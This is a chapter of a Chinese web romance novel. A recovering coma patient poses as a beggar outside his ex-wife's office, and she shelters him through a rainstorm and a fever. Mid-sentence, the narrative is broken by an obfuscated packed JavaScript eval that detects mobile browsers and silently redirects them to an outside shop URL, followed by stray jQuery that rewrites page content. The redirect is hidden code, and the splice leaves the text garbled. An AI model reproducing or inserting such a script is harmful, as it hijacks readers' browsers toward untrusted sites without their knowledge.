冷渡被周叔推回病房时，景玉正歪在他床上打盹，西装外套搭在椅背上，领带松了半截，睡相很差。
听见轮椅的声音，他撑起眼皮，迷迷糊糊扫了一眼：“你跑哪去了？”
没等冷渡回答，他又补了句：“刚才你前妻给我打电话。”
冷渡整个人僵住了。
他撑着扶手想站起来，膝盖却不争气地一软，又跌回轮椅里。他索性让周叔把自己推到景玉跟前，语速极快：“她说什么了？”
景玉打了个哈欠，慢悠悠地说：“我没接。”
“......”
“开会呢，没听见。”
“打回去。”
“啊？现在？都快一点了。”
“打回去，”他重复了一遍，“开免提。”
景玉看了他一眼，大概是觉得刚醒来的病人不宜刺激，便没多说，翻出手机。
嘟嘟声第三声响完，电话接通了。
“喂？景先生？”
是她的声音。
隔了将近两年，还是那个温软的稍微有点怯的调子。
冷渡攥紧了手机边缘，指节泛白。
景玉开口道：“嗯，你刚打来我在开会，什么事？”
电话那头沉默了两秒，像是在犹豫。然后她说：“我想问......冷渡，是不是醒了？”
景玉挑了下眉，下意识朝轮椅上的人看去。
冷渡没有任何表情，只是一动不动地盯着手机屏幕上跳动的通话时间。
“你怎么知道？”景玉问。
“我......护士小姐说的，”她的声音更轻了些，“拜托她如果有情况变化就通知我。”
她说谎了。掩盖了遇到他的事实。
冷渡垂下头，帽檐遮住了他的眼睛。
“他现在情况怎么样？身体还好吗？能说话吗？”她问得很急，一个问题接一个问题，像是攒了很久。
景玉张了张嘴，想说“他就在旁边你自己问”，被冷渡猛地抬手制止了。
他冲景玉无声地摇了摇头。
景玉皱了皱眉，但还是配合道：“醒了，脑子没坏，就是腿脚不太行，要做康复。”
“......那就好。”
她好像松了口气，声音里的紧绷感卸下来一些。然后又静了几秒，像是还想说什么，最终只是说：
“麻烦你多照顾他。”
“嗯。”
电话挂断了。
病房里重新安静下来。景玉收了手机，回头看冷渡，发现他还保持着低头的姿势，帽檐的阴影遮住了大半张脸。
“喂，你没事吧？”
冷渡沉默了片刻，重新开口说话时声音有点低：“把刚才的通话录音发我。”
第二天他忙不停蹄开始进行康复训练。
主治医生给他制定了详细的方案：第一个月恢复关节活动度，第二个月开始站立和负重训练，第三个月尝试行走。
现实比方案残酷得多。
第一周，他连抬腿都做不到。康复师握着他的小腿做被动屈伸，他咬着牙一声不吭，只有额角渗出的汗暴露了他的状态。
“冷先生，您不需要每次都做到极限，循序渐进就好。”
他没理，依旧每天加练两个小时。手握哑铃的时候手腕在发抖，连一公斤的重量都举不稳。他看着自己瘦得像竹竿一样的手臂，表情很难看。
周叔在一旁适时开口：“根据您目前的恢复速度，预计三个月后可以脱离轮椅，五到六个月后可以正常行走。”
“太慢了。”
“以您的受伤程度来说，这已经是相当乐观的预估了。”
“我说太慢了。”
他把训练量翻了一倍。
康复师不建议，他不听。
景玉说他有病，他也不听。
膝盖第一次支撑住自己全部体重的那天，他在平行杠之间站了整整三秒钟，然后腿一软跪了下去。
地板很硬，膝盖骨磕得生疼，他撑在地上喘了很久，最后自己爬起来，又站了一次。
第二个月的时候他已经可以扶着墙走路了。步态很慢，像个八十岁的老头，每一步都要先确认膝盖不会突然打弯。
但他不允许周叔扶他，也不坐轮椅了。
哪怕从病房走到走廊尽头要花十五分钟，他也要自己走完。
到了第四个月，他已经能正常行走，只是快走和上楼梯时还会喘。身上的肉慢慢长回来一些，不再是皮包骨头的样子。
他站在镜子前，看着自己。
头发长到了肩膀，因为营养不足，发尾有些枯黄。脸色还是偏白，但不再是病床上那种透明的苍白了。锁骨以下的植皮痕迹被衣服遮住，只有手背上留着一小块颜色略深的新皮肤。
不算好看，但至少不丑了。
他每天都在看温夏的社交账号。
她发得不多，偶尔一张加班时的咖啡，偶尔一张周末做的烘焙，评论区总是那几个同事和谢薇在互动。
没有新的男人出现。
这是唯一让他安心的事。
周叔问过他要不要在她家里装监控，他沉思良久，拒绝了。
虽然很想念她，但他希望和她重新开始，不想以会让她讨厌反感的方式。
温夏这半年过得平淡。
上班，加班，回家。偶尔和谢薇吃顿饭，偶尔在周末学做蛋糕，拍好看的照片发到网上，也没什么人看。
生活好像终于回到了正轨。
只是偶尔，夜深人静的时候，她会想起那通电话。
景玉说他醒了，脑子没坏，腿脚不行，要做康复。
那是半年前的事了。
她存了景玉的电话号码，有时候拇指会滑到那个位置上，停一下，又退出去。
问了又怎样呢。
景玉会不会觉得她对前夫还有纠葛？
会不会告诉冷渡她打了电话？
他知道了又会怎么想？
每次想到这些，她就觉得算了。
他应该没事的。那么有钱，又有景玉照顾。
一定比她过得好。
就这样吧。
-
秋初。
温夏第一次听说“公司对面来了个漂亮乞丐”这件事，是在午休时间的茶水间。
“不是那种脏兮兮的乞丐诶，长得特别好看，长头发，白皮肤。”
“真的假的？乞丐还有好看的？真好看为什么不去当网红？”
“真的！我拍了照片你看——哎算了这个角度不太清楚，反正坐在花坛边上，也没拿碗也没举牌子，就那么坐着。”
“那怎么知道是乞丐？”
“因为他一直坐在那啊！从早上坐到现在。保安问他什么话都不说。”
温夏端着杯子站在一旁，手指不自觉地捏紧了杯壁。
白皮肤，长头发。
她没有过去看。
第二天，她从公司大门走出来的时候，下意识地朝对面看了一眼。
花坛边确实坐着一个男人，距离有些远，看不太清楚。
穿着件纯白的薄线毛衣，手搁在膝盖上，低着头，束着黑色的低马尾，发尾拢在肩前。
遥遥一见，皮肤白得发光。
她的脚步顿了一下，然后加快了步伐，走向地铁站。
第三天，同事的消息更多了。
“那个人还在。”
“有人给他送了饭，他居然吃了。”
“好多女同事过去搭讪，都被他骂了。”
“骂什么？”
“具体没听清，反正态度很差。有个姐姐说要带他回家当□□，他说‘你也配？’”
“哈哈哈哈这么有个性。”
“说不定是哪个精神病院跑出来的吧。”
温夏低着头处理手上的稿件，一个字都看不进去。
如果是他的话，“你也配”这种话确实是他说得出来的。
她咬了咬下唇，下午借口去买咖啡，绕了远路特地从他面前经过。
匆匆一瞥，她终于看清了那个人。
纯白V领毛衣，深色长裤，一头黑长发。他靠着花坛的矮墙坐着，膝盖微微弯起，手肘搁在膝上，低着头不知道在想什么。
他瘦了些，下颌的线条比从前更锋利。
温夏站在公司楼下远眺着，手里的咖啡忘了喝，冰块化了大半。
第四天，暴雨倾盆而下。
温夏坐在工位上，窗外的雨帘模糊了一切景物。她看不见对面，但脑子里全是那个坐在花坛边的身影。
这几天观察下来，他真的如同事所说，一天24小时都呆在那儿，靠路过的好心人投喂水和食物，只是脾气很差，如果有人要羞辱他，就会被他骂回来。
白天偶尔会走动，只是行动不是很利索，看上去像有腿疾，夜晚则是席地而睡，盖着好心女士给的薄毯子。
有人在旁边支起了手机直播，标题是“公司楼下来了个漂亮乞丐”，莫名上了直播间热门前十，后来也是被他骂走了。
可是，他怎么会变成乞丐呢？
景玉难道没有好好照顾他？可他不是脑子没事吗？景玉说过会雇他的。
......还是，这是一场针对她的骗局？毕竟他从前最擅长扮可怜了。
她咬着笔帽，强迫自己把目光收回电脑屏幕。
雨哗啦啦地倾泄下来，全然没有停雨的征兆。
他这样淋着雨，身子会坏的。
五分钟以后她站了起来。
“温夏你干嘛去？外面下大雨呢！”
“买、买个东西。”
她从便利店买了一份三明治和一瓶水，又从前台拿了把公司的透明雨伞，站在大楼门口，朝对面望去。
他还在。
毛衣已经被淋得透湿，贴在身上，勾勒出很瘦的轮廓。长发湿漉漉地黏在脸颊和脖颈上，整个人像一只被遗弃在雨里的、瘦骨嶙峋的黑猫。
他甚至没有躲，也没有动。
就那么坐着，仰起脸，闭着眼睛，任雨水浇在脸上。
温夏的胸口像被什么攥住了。她撑开伞，走过了马路。
走到他面前的时候，他似乎感觉到了雨停了，睁开了眼。
湿透的长发下面，是一张苍白到几乎透明的脸。眼下有青色的影子，嘴唇因为冷而微微发紫。
但那双眼睛还是黑白分明的。
四目相对。
温夏把三明治和水放在他面前的地面上，然后把伞轻轻搁在他旁边。
她没有说话，转身要走。
一只手牵住了她的裙摆。
他的手修长白皙，比之前的还要清瘦，雨水沿着清晰的轮廓往下蔓延、滴落，紧紧攥着那一小片布料。
“你不认识我了么。”
不知道是不是生病了，他的嗓音沙哑得不成样子。
“怎么不和我说话。”
温夏站在原地，后背绷得很直。
她没有回头，但也没有挣开他的手。
雨声很大，他的声音混在里面，显得很轻。
好半天，她才哑着嗓子开口：“你......你怎么会在这里？”
冷渡仰着头看她的背影。
雨水顺着他的眉骨流进眼里，他也不眨。
“没有人要我。”
温夏终于转过身来。
他缩着肩，湿漉漉地蹲坐在花坛边，仰头看她的角度让他整个人看上去很可怜。
和从前那个永远从容体贴、穿着笔挺衬衫笑着为她开车门的男人判若两人。
“什么叫没有人要？景玉呢？”
“医疗费太贵了，他不想出了，”他垂下眼帘，水珠从睫毛尖滑落，“公司也不要我，说我蠢笨，把我解雇了。”
温夏的眉头皱起来：“这不对啊，他之前不是说你脑子没事吗？”
“我现在身无分文，”冷渡的嘴角扯了一下，像是在嘲讽，又像是在苦笑，“还倒欠他医药费。”
温夏沉默了。
有些不敢相信他的话，但又担心他说的是真的。沉睡了将近两年，大脑损伤了也不是没可能。
没有利用价值就会被开除。
“那你的钱呢？你的存款......”
“什么存款？我昏迷了快两年，清醒以后银行卡里一分都没有了，”他低下头去，像累了似的，“身份证也被扣着。什么都没有了。”
温夏的嘴唇动了动，想说点什么。比如“你应该去报警”“你应该找律师”，但看着他那副缩在雨里的模样，这些话都显得太硬了。
“你......去报警了吗？”她还是问了。
“报了，”他很简短地说，“警察说这属于民事纠纷，让我走法律途径。可是我没有钱请律师。”
她蹲了下来，伞挡不住两个人，雨水打湿了她的肩膀。
“那我先借你钱，你去租个房子......”
“租不了，”他抬起眼看她，那双黑眸里没有平时的锐利，只有一种很深的疲惫，“没有身份证。”
温夏的脑子里飞快地转着。
没有身份证，租不了房，住不了酒店。连手机卡都办不了。
“你这几天一直住在外面？”
他没回答，但他身上那件起了毛球的卫衣，还有有些脏的头发，已经说明了一切。
“你、你起来，”她伸手去拉他的手臂，“先去医院看看，你淋成这样身体......”
“不要，我不要去。”他往后缩了一下。
温夏感到一阵无力。
他像一个被社会系统完全排除在外的人，什么途径都走不通，什么门都对他关上了。
她蹲在雨里，伞歪了也不知道扶正，低头看着坐在她面前的男人。
从前他那样高高在上。
开着几百万的车来接她，随手甩出去几十万给别人赔车，五百万的银行卡像送玩具一样递到她手里。
现在连自己的身份都证明不了。
“走吧。”她最终说。
“去哪？”
“先去......先去找个地方让你洗澡换衣服，然后吃顿热的。”
她不知道自己在做什么。
脑子里有一个声音在喊她清醒一点，不要心软，不要重蹈覆辙。
但雨越下越大，他冷得在发抖，嘴唇已经完全紫了。
如果她现在走了，明天他是不是就会发烧、会肺炎、会再一次进ICU。
她不想再签住院同意书了。
“你别误会，”她话说得磕磕绊绊，“我只是不想你出事。你先住一晚，明天我帮你想办法补办身份证，然后......”
话还没说完，他已经撑着花坛的矮墙站了起来。
比她记忆里瘦。毛衣贴在身上的轮廓太单薄了。
他低头看着她，湿淋淋的长发在脸侧形成水帘，被他抬手随意撩到耳后。
那个动作很慢，让她看见了他手背上那一小块颜色深一些的皮肤。
是植皮的痕迹。
她赶紧移开了视线。
“谢谢。”他轻声说。
温夏撑着伞走在前面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778661|208119||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，他跟在后面，距离隔了半步。
路上她回头看了一眼，他正低着头跟着走，步态稳定，但比正常人慢一些。
她放慢了脚步。
温夏的公寓在六楼，没有电梯。
她爬楼的时候偶尔回头，他跟在后面，速度不快但也没停。只是到了五楼的时候，她听见他的呼吸变得有些重。
她站在五楼的拐角等了一会儿，他走上来时额头冒着汗。
“要不要歇一下？”
“不用。”
门打开的瞬间，她有些后悔自己没来得及收拾。
一室一厅的小房子，客厅和卧室之间只有一道帘子。桌上摊着昨天收下来的胸罩和几本杂志。
“有点乱，你别介意。”她匆匆收起胸罩，耳朵微微发烫。
冷渡站在门口，湿漉漉地没有往里走。
“进来啊，”她找出一条干毛巾递过去，“先擦擦，我给你烧热水，你洗个澡。浴室在那边。”
他接过毛巾，手指碰到她的手背时，她缩了一下。
那触感太冰凉了。
“衣服的话......”她翻了翻衣柜，只找到一件前男友蔺深忘记拿走的T恤。犹豫了几秒，还是拿了出来，“你先穿这个。”
他低头看了一眼那件男士T恤，没有问是谁的，接过去进了浴室。
门关上后，温夏在客厅站了好一会儿，然后蹲下来，把脸埋进了膝盖。
她到底在做什么？
热水器很小，洗个澡大约十五分钟就没热水了。
冷渡出来的时候头发还是湿的，那件灰色的T恤穿在他身上有些宽松，领口歪了一边，露出锁骨下方一截植皮后颜色不均的皮肤。
她赶紧递过去吹风机：“你头发吹干，不然会头疼。”
他接过去，坐在客厅唯一的椅子上，自己吹。
温夏站在厨房里给他煮面。小小的出租屋里，吹风机的嗡嗡声是唯一的响动。
她切了几片姜放进去，想着他淋了那么久的雨。
面煮好端出来的时候，他已经把头发吹干了，坐在那里安静地打量着她的房间。
视线最终停在墙上挂着的一幅小画上——是很早以前他送她的那本漫画集里的一张扉页，她裱了起来。
他看了很久。
“吃面。”她把碗推到他面前，坐到了对面。
他低头吃了几口，速度很慢，但确实在吃。
温夏托着下巴看着他，想说点什么打破这令人窒息的安静。但张了几次嘴，都不知道从何开口。
你这两年过得怎么样？——太沉重了。
你的身体恢复得怎么样了？——会不会显得她太关心他了？
她干脆放弃了找话题，坐在一旁看他吃面。
温夏收了碗去洗，等她从厨房出来，发现他还是坐在那个位置，双手搁在膝上，不知道在想什么。
“那个，”她抱着手臂站在帘子旁边，“你今晚就睡床上吧，我睡沙发。”
“不用，我睡地上就行。”
他这是当乞丐当习惯了？
“地上凉，你刚淋了雨。”
“我不怕。”
“......你就听我的行不行？”
他终于抬头看了她一眼，没有再推拒。
温夏铺了张薄毯在沙发上，拿了个枕头，换了睡衣出来。隔着那道帘子，她能看见他的影子映在上面——坐在床沿，一动不动。
她躺下来，闭上眼。
出租屋的隔音很差。
一开始只是隔壁传来的电视声，她没在意。
然后声音变了调。
隔壁那对情侣开始了。
床板的吱嘎声，女人拔高的声音，节奏越来越快。声音穿过薄薄的墙壁，清晰得像在耳边放了个扬声器。
温夏的脸一寸一寸烧起来。
她用被子蒙住了头，可声音还是遮不住。
帘子那边一点动静都没有。
他一定也听见了。
沉默比那些声音更让人难以忍受。
她实在受不了了，从被子里探出脑袋，干巴巴地说了句：“呃......一般很快就会停的。”
帘子那边还是没有声音。
然后她听见床铺的轻响，脚步声。
帘子被掀开，冷渡从里面走出来，面无表情地经过她的沙发，直接走向了大门。
“你干什么？！”温夏吓得坐起来。
他没回答，拉开门，走了出去。
温夏赶紧披上外套追出去。走廊里，她看见他站在隔壁门口，抬手，“砰砰砰”地大力拍门。
力度大得好像要把门板拍碎。
隔壁的声音骤然停了。
几秒钟的安静后，门从里面打开一条缝，一个男人探出头来，头发乱糟糟的，表情不善：“几点了啊？拍什么拍？”
冷渡居高临下地看着他，脸上的表情冷得像结了霜：
“你也知道很晚了？再叫一声，我把你们录音发网上。”
他的声音不大，甚至可以说很轻，但那种从骨子里透出来的阴冷和不容置疑，让对面那个男人的嘴角抽了抽，到嘴边的骂人话硬生生咽了回去。
冷渡没等他回话，转身走了。
经过温夏身边时，他垂眼看了她一下，语气淡淡的：“吵到我们了。”
不是问句。是陈述。
温夏站在走廊里，裹着外套，头发乱翘着，大眼睛圆圆地看着他的背影消失在自己的门里。
隔壁彻底安静了。
她愣了好一会儿，嘴角不受控制地微微翘了一下。
她平时都是忍忍就过了，大事化小，小事化了。可他不。
脾气真差。
耐心也不好。
她回想起之前看过的他和景玉的聊天记录，忽然明白，也许那个极度以自我为中心、性格古怪又难相处的人才是冷渡。
就像第一次认识他一样，她有种新奇又奇妙的感觉。
本就睡不着，这样一搞，她大脑更清醒了，忍不住向他搭起话来：“你这样说话，以后和他们还要抬头不见低头见的，多尴尬啊。”
“我尴尬什么，该他们尴尬才是。”
温夏只轻笑一声，还想和他说点什么，却不知道接什么话好。
就在她以为他们不会再聊天的时候，冷渡开了口：“怎么，这回不说我刻薄了？”
她一愣，立马明白他意有所指。
当年的事如尘封许久的盒子，掀开来都浮起一层灰。
她已经不太记得车子撞上去的感觉，但他的热泪落在自己手心的那种灼热感还历历在目。
“你真是......那么久以前的事了。”
其实他不提起，她都要忘了自己曾经说过那种话。
还真是记仇啊。
她等了会儿，没等到他的回答，闭上眼睡去。
不知道过了多久，温夏是被一阵急促的呼吸声吵醒的。
她迷迷糊糊坐起来，借着窗外透进来的路灯光，看见帘子那边的影子在微微发抖。
“冷渡？”
没有回应，只有越来越重的喘息和被子翻动的窸窣声。
她掀开帘子走进去，摸到他额头的瞬间手缩了回来。
烫得吓人。
“你发烧了。”她慌忙去翻药箱，翻了半天才找到一板临期的退烧药。
回到床边，他整个人蜷缩在被子里，汗把枕头都浸湿了。眉头紧皱着，嘴唇翕动，像在说什么。
她凑近了些，才听清那些断断续续的呓语。